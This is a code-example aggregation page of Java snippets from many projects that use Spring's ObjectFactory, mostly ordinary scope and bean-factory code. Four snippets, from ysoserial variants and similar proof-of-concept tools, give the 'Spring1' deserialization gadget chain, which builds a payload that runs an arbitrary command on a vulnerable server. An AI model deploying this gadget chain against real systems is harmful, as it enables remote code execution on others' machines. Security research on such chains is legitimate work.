Java 类org.springframework.beans.factory.ObjectFactory 实例源码

项目:phoenix.webui.framework    文件:AutoModuleScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory)
{
    Object object = objMap.get(name);
    if(object == null)
    {
        object = objectFactory.getObject();
        AutoModuleProxy proxy = new AutoModuleProxy(object, recordReportWriters, util);
        Object proxyObject = proxy.getProxy();

        BeanCopier beanCopier = BeanCopier.create(object.getClass(), proxyObject.getClass(), false);
        beanCopier.copy(object, proxyObject, null);

        putAware(proxyObject);

        object = proxyObject;
        objMap.put(name, object);
    }

    return object;
}
项目:APacheSynapseSimplePOC    文件:Spring1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    final ObjectFactory objectFactoryProxy =
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler)
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy),
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:gemini.blueprint    文件:OsgiBundleScopeTest.java   
public void testLocalBeans() {
    ObjectFactory factory = new ObjectFactory() {

        public Object getObject() throws BeansException {
            return new Object();
        }

    };
    Object foo = scope.get("foo", factory);
    Object foo2 = scope.get("foo", factory);
    assertNotNull(foo);
    assertSame("instance not cached", foo, foo2);

    Object bar = scope.get("bar", factory);
    Object bar2 = scope.get("bar", factory);
    assertNotNull(bar);
    assertSame("instance not cached", bar, bar2);
}
项目:lams    文件:WebApplicationContextUtils.java   
public static void registerFacesDependencies(ConfigurableListableBeanFactory beanFactory) {
    beanFactory.registerResolvableDependency(FacesContext.class, new ObjectFactory<FacesContext>() {
        @Override
        public FacesContext getObject() {
            return FacesContext.getCurrentInstance();
        }
        @Override
        public String toString() {
            return "Current JSF FacesContext";
        }
    });
    beanFactory.registerResolvableDependency(ExternalContext.class, new ObjectFactory<ExternalContext>() {
        @Override
        public ExternalContext getObject() {
            return FacesContext.getCurrentInstance().getExternalContext();
        }
        @Override
        public String toString() {
            return "Current JSF ExternalContext";
        }
    });
}
项目:lams    文件:DefaultSingletonBeanRegistry.java   
/**
 * Return the (raw) singleton object registered under the given name.
 * <p>Checks already instantiated singletons and also allows for an early
 * reference to a currently created singleton (resolving a circular reference).
 * @param beanName the name of the bean to look for
 * @param allowEarlyReference whether early references should be created or not
 * @return the registered singleton object, or {@code null} if none found
 */
protected Object getSingleton(String beanName, boolean allowEarlyReference) {
    Object singletonObject = this.singletonObjects.get(beanName);
    if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) {
        synchronized (this.singletonObjects) {
            singletonObject = this.earlySingletonObjects.get(beanName);
            if (singletonObject == null && allowEarlyReference) {
                ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName);
                if (singletonFactory != null) {
                    singletonObject = singletonFactory.getObject();
                    this.earlySingletonObjects.put(beanName, singletonObject);
                    this.singletonFactories.remove(beanName);
                }
            }
        }
    }
    return (singletonObject != NULL_OBJECT ? singletonObject : null);
}
项目:lams    文件:DefaultListableBeanFactory.java   
@Override
public Object resolveDependency(DependencyDescriptor descriptor, String beanName,
        Set<String> autowiredBeanNames, TypeConverter typeConverter) throws BeansException {

    descriptor.initParameterNameDiscovery(getParameterNameDiscoverer());
    if (descriptor.getDependencyType().equals(ObjectFactory.class)) {
        return new DependencyObjectFactory(descriptor, beanName);
    }
    else if (descriptor.getDependencyType().equals(javaxInjectProviderClass)) {
        return new DependencyProviderFactory().createDependencyProvider(descriptor, beanName);
    }
    else {
        Object result = getAutowireCandidateResolver().getLazyResolutionProxyIfNecessary(descriptor, beanName);
        if (result == null) {
            result = doResolveDependency(descriptor, beanName, autowiredBeanNames, typeConverter);
        }
        return result;
    }
}
项目:ysoserial-modified    文件:Spring1.java   
public Object getObject(CmdExecuteHelper cmdHelper) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(cmdHelper.getCommandArray());

    final ObjectFactory objectFactoryProxy = 
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy), 
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:holon-core    文件:TenantBeanStore.java   
/**
 * Get the bean instance with given <code>beanName</code>.
 * @param beanName Bean name to obtain
 * @param objectFactory Spring ObjectFactory
 * @return The bean instance present in this store. If not yet available, a new instance will be created, stored and
 *         returned
 */
public Object get(String beanName, ObjectFactory<?> objectFactory) {
    LOGGER.debug(() -> "Getting bean with name [" + beanName + "] from: " + this);

    Object bean = objectMap.get(beanName);
    if (bean == null) {
        bean = create(beanName, objectFactory);
        objectMap.put(beanName, bean);

        if (LOGGER.isEnabled(Level.DEBUG)) {
            final Object b = bean;
            LOGGER.debug(() -> "Added bean [" + b + "] with name [" + beanName + "] to: " + this);
        }
    }
    return bean;
}
项目:ysoserial-plus    文件:Spring1.java   
public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);

    final ObjectFactory objectFactoryProxy = 
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy), 
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:play-java-spring-data-jpa    文件:ModuleRegistryConfiguration.java   
@PostConstruct
public void init() {
    List<Module> modules = new ArrayList<Module>(this.modules);
    modules.add(new SpringModule(beanFactory));
    injector = Guice.createInjector(modules);
    for (Entry<Key<?>, Binding<?>> entry : injector.getBindings().entrySet()) {
        if (entry.getKey().getTypeLiteral().getRawType().equals(Injector.class)) {
            continue;
        }
        final Provider<?> provider = entry.getValue().getProvider();
        beanFactory.registerResolvableDependency(entry.getKey().getTypeLiteral().getRawType(), new ObjectFactory<Object>() {
            @Override
            public Object getObject() throws BeansException {
                return provider.get();
            }
        });
    }
}
项目:stroom-proxy    文件:ThreadScope.java   
@SuppressWarnings({ "rawtypes" })
@Override
public Object get(final String name, final ObjectFactory factory) {
    Object result = null;

    try {
        final ThreadScopeContext context = ThreadScopeContextHolder.getContext();
        if (context != null) {
            result = context.get(name);
            if (result == null) {
                result = factory.getObject();
                context.put(name, result);
            }
        }
    } catch (final RuntimeException e) {
        LOGGER.error(e.getMessage(), e);
        throw e;
    }

    return result;
}
项目:spring4-understanding    文件:ScopingTests.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    if (createNewScope) {
        beans.clear();
        // reset the flag back
        createNewScope = false;
    }

    Object bean = beans.get(name);
    // if a new object is requested or none exists under the current
    // name, create one
    if (bean == null) {
        beans.put(name, objectFactory.getObject());
    }

    return beans.get(name);
}
项目:spring4-understanding    文件:WebApplicationContextUtils.java   
public static void registerFacesDependencies(ConfigurableListableBeanFactory beanFactory) {
    beanFactory.registerResolvableDependency(FacesContext.class, new ObjectFactory<FacesContext>() {
        @Override
        public FacesContext getObject() {
            return FacesContext.getCurrentInstance();
        }
        @Override
        public String toString() {
            return "Current JSF FacesContext";
        }
    });
    beanFactory.registerResolvableDependency(ExternalContext.class, new ObjectFactory<ExternalContext>() {
        @Override
        public ExternalContext getObject() {
            return FacesContext.getCurrentInstance().getExternalContext();
        }
        @Override
        public String toString() {
            return "Current JSF ExternalContext";
        }
    });
}
项目:JavaSerialKiller    文件:Spring1.java   
public Object getObject(final String command) throws Exception {
    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);

    final ObjectFactory objectFactoryProxy = 
            Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);

    final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) 
            Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
                .newInstance(objectFactoryProxy), Type.class, Templates.class);

    final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
            Gadgets.createMap("getType", typeTemplatesProxy), 
            forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));

    final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
    final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[] {}), 0);
    Reflections.setFieldValue(mitp, "methodName", "newTransformer");

    return mitp;
}
项目:spring4-understanding    文件:DefaultSingletonBeanRegistry.java   
/**
 * Return the (raw) singleton object registered under the given name.
 * <p>Checks already instantiated singletons and also allows for an early
 * reference to a currently created singleton (resolving a circular reference).
 * @param beanName the name of the bean to look for
 * @param allowEarlyReference whether early references should be created or not
 * @return the registered singleton object, or {@code null} if none found
 */
protected Object getSingleton(String beanName, boolean allowEarlyReference) {
    Object singletonObject = this.singletonObjects.get(beanName);
    if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) {
        synchronized (this.singletonObjects) {
            singletonObject = this.earlySingletonObjects.get(beanName);
            if (singletonObject == null && allowEarlyReference) {
                ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName);
                if (singletonFactory != null) {
                    singletonObject = singletonFactory.getObject();
                    this.earlySingletonObjects.put(beanName, singletonObject);
                    this.singletonFactories.remove(beanName);
                }
            }
        }
    }
    return (singletonObject != NULL_OBJECT ? singletonObject : null);
}
项目:spring4-understanding    文件:DefaultListableBeanFactory.java   
@Override
public Object resolveDependency(DependencyDescriptor descriptor, String beanName,
        Set<String> autowiredBeanNames, TypeConverter typeConverter) throws BeansException {

    descriptor.initParameterNameDiscovery(getParameterNameDiscoverer());
    if (descriptor.getDependencyType().equals(javaUtilOptionalClass)) {
        return new OptionalDependencyFactory().createOptionalDependency(descriptor, beanName);
    }
    else if (ObjectFactory.class == descriptor.getDependencyType()) {
        return new DependencyObjectFactory(descriptor, beanName);
    }
    else if (javaxInjectProviderClass == descriptor.getDependencyType()) {
        return new DependencyProviderFactory().createDependencyProvider(descriptor, beanName);
    }
    else {
        Object result = getAutowireCandidateResolver().getLazyResolutionProxyIfNecessary(descriptor, beanName);
        if (result == null) {
            result = doResolveDependency(descriptor, beanName, autowiredBeanNames, typeConverter);
        }
        return result;
    }
}
项目:spring4-understanding    文件:ObjectFactoryCreatingFactoryBeanTests.java   
@Test
public void testDoesNotComplainWhenTargetBeanNameRefersToSingleton() throws Exception {
    final String targetBeanName = "singleton";
    final String expectedSingleton = "Alicia Keys";

    BeanFactory beanFactory = mock(BeanFactory.class);
    given(beanFactory.getBean(targetBeanName)).willReturn(expectedSingleton);

    ObjectFactoryCreatingFactoryBean factory = new ObjectFactoryCreatingFactoryBean();
    factory.setTargetBeanName(targetBeanName);
    factory.setBeanFactory(beanFactory);
    factory.afterPropertiesSet();
    ObjectFactory<?> objectFactory = factory.getObject();
    Object actualSingleton = objectFactory.getObject();
    assertSame(expectedSingleton, actualSingleton);
}
项目:feign-form    文件:DownloadClient.java   
@Bean
public Decoder feignDecoder () {
    val springConverters = messageConverters.getObject().getConverters();
    val decoderConverters = new ArrayList<HttpMessageConverter<?>>(springConverters.size() + 1);

    decoderConverters.addAll(springConverters);
    decoderConverters.add(new SpringManyMultipartFilesReader(4096));

    val httpMessageConverters = new HttpMessageConverters(decoderConverters);

    return new SpringDecoder(new ObjectFactory<HttpMessageConverters>() {

        @Override
        public HttpMessageConverters getObject () {
            return httpMessageConverters;
        }
    });
}
项目:haven-search-components    文件:HodParametricValuesServiceImpl.java   
@SuppressWarnings("ConstructorWithTooManyParameters")
@Autowired
HodParametricValuesServiceImpl(
    final HodFieldsService fieldsService,
    final ObjectFactory<HodFieldsRequestBuilder> fieldsRequestBuilderFactory,
    final GetParametricValuesService getParametricValuesService,
    final GetParametricRangesService getParametricRangesService,
    final BucketingParamsHelper bucketingParamsHelper,
    final TagNameFactory tagNameFactory,
    final ConfigService<? extends HodSearchCapable> configService,
    final AuthenticationInformationRetriever<?, HodAuthenticationPrincipal> authenticationInformationRetriever
) {
    this.fieldsService = fieldsService;
    this.fieldsRequestBuilderFactory = fieldsRequestBuilderFactory;
    this.getParametricValuesService = getParametricValuesService;
    this.getParametricRangesService = getParametricRangesService;
    this.bucketingParamsHelper = bucketingParamsHelper;
    this.tagNameFactory = tagNameFactory;
    this.configService = configService;
    this.authenticationInformationRetriever = authenticationInformationRetriever;
}
项目:haven-search-components    文件:IdolParametricValuesServiceImpl.java   
@SuppressWarnings("ConstructorWithTooManyParameters")
@Autowired
IdolParametricValuesServiceImpl(
    final HavenSearchAciParameterHandler parameterHandler,
    final IdolFieldsService fieldsService,
    final ObjectFactory<IdolFieldsRequestBuilder> fieldsRequestBuilderFactory,
    final BucketingParamsHelper bucketingParamsHelper,
    final TagNameFactory tagNameFactory,
    final QueryExecutor queryExecutor
) {
    this.parameterHandler = parameterHandler;
    this.fieldsService = fieldsService;
    this.fieldsRequestBuilderFactory = fieldsRequestBuilderFactory;
    this.bucketingParamsHelper = bucketingParamsHelper;
    this.tagNameFactory = tagNameFactory;
    this.queryExecutor = queryExecutor;
}
项目:rpb    文件:ViewScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {

    if (FacesContext.getCurrentInstance().getViewRoot() != null) {
        Map<String, Object> viewMap = FacesContext.getCurrentInstance().getViewRoot().getViewMap();
        if (viewMap.containsKey(name)) {
            return viewMap.get(name);
        } else {
            Object object = objectFactory.getObject();
            viewMap.put(name, object);
            return object;
        }
    } else {
        return null;
    }

}
项目:rpb    文件:ViewScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {

    if (FacesContext.getCurrentInstance().getViewRoot() != null) {
        Map<String, Object> viewMap = FacesContext.getCurrentInstance().getViewRoot().getViewMap();
        if (viewMap.containsKey(name)) {
            return viewMap.get(name);
        } else {
            Object object = objectFactory.getObject();
            viewMap.put(name, object);
            return object;
        }
    } else {
        return null;
    }

}
项目:linkbinder    文件:ApplicationScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Object result = null;
    Map<String, Object> map = getMap();
    if (map != null) {
        if (map.containsKey(name)) {
            result = map.get(name);
            log.debug("Instance of bean '{}' exists in application scope.", name);
        } else {
            Object bean = objectFactory.getObject();
            log.debug("created instance of bean '{}' in application scope.", name);
            map.put(name, bean);
            result = bean;
        }
    }
    return result;
}
项目:linkbinder    文件:ViewScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Object result = null;
    Map<String, Object> map = getMap();
    if (map != null) {
        if (map.containsKey(name)) {
            result = map.get(name);
            log.trace("Instance of bean '{}' exists in view scope.", name);
        } else {
            Object bean = objectFactory.getObject();
            log.trace("created instance on bean '{}' in view scope.", name);
            map.put(name, bean);
            result = bean;
        }
    }
    return result;
}
项目:Voting_2b    文件:ViewScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    FacesContext context = FacesContext.getCurrentInstance();
    if (context.getViewRoot() != null) {
        Map<String, Object> viewMap = context.getViewRoot().getViewMap();

        if (viewMap.containsKey(name)) {
            return viewMap.get(name);
        } else {
            Object object = objectFactory.getObject();
            viewMap.put(name, object);

            return object;
        }
    }
    return null;
}
项目:spring    文件:DefaultListableBeanFactory.java   
@Override
public Object resolveDependency(DependencyDescriptor descriptor, String beanName,
        Set<String> autowiredBeanNames, TypeConverter typeConverter) throws BeansException {

    descriptor.initParameterNameDiscovery(getParameterNameDiscoverer());
    if (descriptor.getDependencyType().equals(javaUtilOptionalClass)) {
        return new OptionalDependencyFactory().createOptionalDependency(descriptor, beanName);
    }
    else if (ObjectFactory.class == descriptor.getDependencyType() ||
            ObjectProvider.class == descriptor.getDependencyType()) {
        return new DependencyObjectProvider(descriptor, beanName);
    }
    else if (javaxInjectProviderClass == descriptor.getDependencyType()) {
        return new Jsr330ProviderFactory().createDependencyProvider(descriptor, beanName);
    }
    else {
        Object result = getAutowireCandidateResolver().getLazyResolutionProxyIfNecessary(descriptor, beanName);
        if (result == null) {
            result = doResolveDependency(descriptor, beanName, autowiredBeanNames, typeConverter); // 解析依赖
        }
        return result;
    }
}
项目:ZombieLib2    文件:LocaleScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    String user = getCurrentUser();
    Map<String, Object> scope = userObjMap.get(user);
    if (scope == null) {
        synchronized (userObjMap) {
            scope = userObjMap.computeIfAbsent(user, k -> new HashMap<>());
        }
    }
    Object obj = scope.get(name);
    if (obj == null) {
        //noinspection SynchronizationOnLocalVariableOrMethodParameter
        synchronized (scope) {
            obj = scope.computeIfAbsent(name, s -> objectFactory.getObject());
        }
    }
    return obj;
}
项目:spring    文件:DefaultSingletonBeanRegistry.java   
/**
 * Return the (raw) singleton object registered under the given name.
 * <p>Checks already instantiated singletons and also allows for an early
 * reference to a currently created singleton (resolving a circular reference).
 * @param beanName the name of the bean to look for
 * @param allowEarlyReference whether early references should be created or not
 * @return the registered singleton object, or {@code null} if none found
 */
protected Object getSingleton(String beanName, boolean allowEarlyReference) {
    Object singletonObject = this.singletonObjects.get(beanName);
    if (singletonObject == null && isSingletonCurrentlyInCreation(beanName)) {
        synchronized (this.singletonObjects) {
            singletonObject = this.earlySingletonObjects.get(beanName);
            if (singletonObject == null && allowEarlyReference) {
                ObjectFactory<?> singletonFactory = this.singletonFactories.get(beanName);
                if (singletonFactory != null) {
                    singletonObject = singletonFactory.getObject();
                    this.earlySingletonObjects.put(beanName, singletonObject);
                    this.singletonFactories.remove(beanName);
                }
            }
        }
    }
    return (singletonObject != NULL_OBJECT ? singletonObject : null);
}
项目:phoenix.webui.framework    文件:AutotestScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory)
{
    Object object = objMap.get(name);
    if(object == null)
    {
        object = objectFactory.getObject();
        objMap.put(name, object);
    }

    return object;
}
项目:configx    文件:GenericScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    if (this.lifecycle == null) {
        this.lifecycle = new StandardBeanLifecycleDecorator(this.proxyTargetClass);
    }
    BeanLifecycleWrapper value = this.cache.put(name, new BeanLifecycleWrapper(name,
            objectFactory, this.lifecycle));
    try {
        return value.getBean();
    } catch (RuntimeException e) {
        this.errors.put(name, e);
        throw e;
    }
}
项目:configx    文件:GenericScope.java   
@SuppressWarnings("rawtypes")
public BeanLifecycleWrapper(String name, ObjectFactory<?> objectFactory,
                            BeanLifecycleDecorator lifecycle) {
    this.name = name;
    this.objectFactory = objectFactory;
    this.lifecycle = lifecycle;
}
项目:spring-domain-events    文件:EventPublicationConfiguration.java   
@Bean
public PersistentApplicationEventMulticaster applicationEventMulticaster(
        ObjectFactory<EventPublicationRegistry> registry) {

    return new PersistentApplicationEventMulticaster(
            new DefaultingObjectFactory<EventPublicationRegistry>(registry, () -> new MapEventPublicationRegistry()));
}
项目:app-ms    文件:ContainerRequestScope.java   
@Override
public Object get(final String name,
    final ObjectFactory<?> objectFactory) {

    final ContainerRequestContext containerRequest = containerRequestHolder.get();
    Object scopedObject = containerRequest.getProperty(name);
    if (scopedObject == null) {
        scopedObject = objectFactory.getObject();
        containerRequest.setProperty(name, scopedObject);
    }
    return scopedObject;
}
项目:gemini.blueprint    文件:ScopeTests.java   
public Object get(String name, ObjectFactory objectFactory) {
    System.out.println("tag is " + tag);
    System.out.println("requested " + name + " w/ objFact " + objectFactory);
    if (ScopeTests.tag == null) {
        Object obj = objectFactory.getObject();
        System.out.println("set tag to " + obj);
        System.out.println("obj is " + obj + "|hash=" + System.identityHashCode(obj));
        ScopeTests.tag = obj;
    }

    return tag;
}
项目:spring-tg    文件:TgScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Map<String, Object> scopedObjects = getContextScopedObjects();

    if (!scopedObjects.containsKey(name))
        scopedObjects.put(name, objectFactory.getObject());

    return scopedObjects.get(name);
}
项目:lams    文件:SessionScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Object mutex = RequestContextHolder.currentRequestAttributes().getSessionMutex();
    synchronized (mutex) {
        return super.get(name, objectFactory);
    }
}
项目:lams    文件:AbstractRequestAttributesScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    RequestAttributes attributes = RequestContextHolder.currentRequestAttributes();
    Object scopedObject = attributes.getAttribute(name, getScope());
    if (scopedObject == null) {
        scopedObject = objectFactory.getObject();
        attributes.setAttribute(name, scopedObject, getScope());
    }
    return scopedObject;
}
项目:lams    文件:ServletContextScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Object scopedObject = this.servletContext.getAttribute(name);
    if (scopedObject == null) {
        scopedObject = objectFactory.getObject();
        this.servletContext.setAttribute(name, scopedObject);
    }
    return scopedObject;
}
项目:lams    文件:SimpleThreadScope.java   
@Override
public Object get(String name, ObjectFactory<?> objectFactory) {
    Map<String, Object> scope = this.threadScope.get();
    Object object = scope.get(name);
    if (object == null) {
        object = objectFactory.getObject();
        scope.put(name, object);
    }
    return object;
}
项目:lams    文件:AutowireUtils.java   
/**
 * Resolve the given autowiring value against the given required type,
 * e.g. an {@link ObjectFactory} value to its actual object result.
 * @param autowiringValue the value to resolve
 * @param requiredType the type to assign the result to
 * @return the resolved value
 */
public static Object resolveAutowiringValue(Object autowiringValue, Class<?> requiredType) {
    if (autowiringValue instanceof ObjectFactory && !requiredType.isInstance(autowiringValue)) {
        ObjectFactory<?> factory = (ObjectFactory<?>) autowiringValue;
        if (autowiringValue instanceof Serializable && requiredType.isInterface()) {
            autowiringValue = Proxy.newProxyInstance(requiredType.getClassLoader(),
                    new Class<?>[] {requiredType}, new ObjectFactoryDelegatingInvocationHandler(factory));
        }
        else {
            return factory.getObject();
        }
    }
    return autowiringValue;
}